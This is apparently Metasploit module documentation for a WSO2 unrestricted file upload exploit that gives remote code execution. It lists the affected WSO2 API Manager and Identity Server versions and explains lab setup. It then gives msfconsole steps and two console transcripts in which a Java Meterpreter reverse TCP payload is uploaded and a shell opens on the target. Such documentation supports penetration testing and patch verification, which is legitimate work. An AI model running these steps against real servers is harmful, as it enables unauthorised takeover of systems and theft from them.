## Vulnerable Application

Certain WSO2 products allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager
2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics
5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise 
Integrator 6.2.0 and above through 6.6.0.

Download WSO2 API Manager [4.0.0](https://wso2.com/api-management/previous-releases/) or another
version < 4.1.0 from the same link.

Download and install [JDK 1.8](https://www.oracle.com/ca-en/java/technologies/javase/javase8u211-later-archive-downloads.html) 
and set `$JAVA_HOME` in your environment.

Start the vulnerable application with `./wso2am-4.0.0/bin/api-manager.sh`. More information on target setup can be found
[here](https://apim.docs.wso2.com/en/latest/install-and-setup/install-and-setup-overview/).

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use multi/http/wso2_file_upload_rce`
1. Do: `set rhosts [ip]`
1. Do: `set lhost [ip]`
1. Do: `run`
1. You should get a shell.

## Scenarios

### WSO2 API Manager 4.0.0 on Ubuntu 20.04.1

```
msf > use multi/http/wso2_file_upload_rce
[*] Using configured payload java/meterpreter/reverse_tcp
msf exploit(multi/http/wso2_file_upload_rce) > set rhosts 172.16.199.173
rhosts => 172.16.199.173
msf exploit(multi/http/wso2_file_upload_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(multi/http/wso2_file_upload_rce) > check
[*] 172.16.199.173:9443 - The target appears to be vulnerable.
msf exploit(multi/http/wso2_file_upload_rce) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Preparing payload...
[*] Uploading payload...
[+] Payload uploaded successfully
[*] Executing payload...
[*] Waiting for shell... 
[*] Waiting for shell... 
[*] Waiting for shell... 
[*] Waiting for shell... 
[*] Sending stage (58851 bytes) to 172.16.199.173
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.173:34282 ) at 2022-04-26 10:58:31 -0700

meterpreter > getuid
Server username: msfuser
meterpreter > sysinfo
Computer        : ubuntu
OS              : Linux 5.13.0-40-generic (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
```

### WSO2 API Manager 3.0.0 on Ubuntu 20.04.1
```
msf > use multi/http/wso2_file_upload_rce
msf exploit(multi/http/wso2_file_upload_rce) > set rhosts 172.16.199.173
rhosts => 172.16.199.173
msf exploit(multi/http/wso2_file_upload_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(multi/http/wso2_file_upload_rce) > check
[*] 172.16.199.173:9443 - The target appears to be vulnerable.
msf exploit(multi/http/wso2_file_upload_rce) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Preparing payload...
[*] Uploading payload...
[+] Payload uploaded successfully
[*] Executing payload...
[*] Waiting for shell... 
[*] Waiting for shell... 
[*] Waiting for shell... 
[*] Waiting for shell... 
[*] Sending stage (58851 bytes) to 172.16.199.173
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.173:33564 ) at 2022-04-26 12:09:18 -0700

meterpreter > getuid
Server username: msfuser
meterpreter > sysinfo
Computer        : ubuntu
OS              : Linux 5.13.0-40-generic (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
```
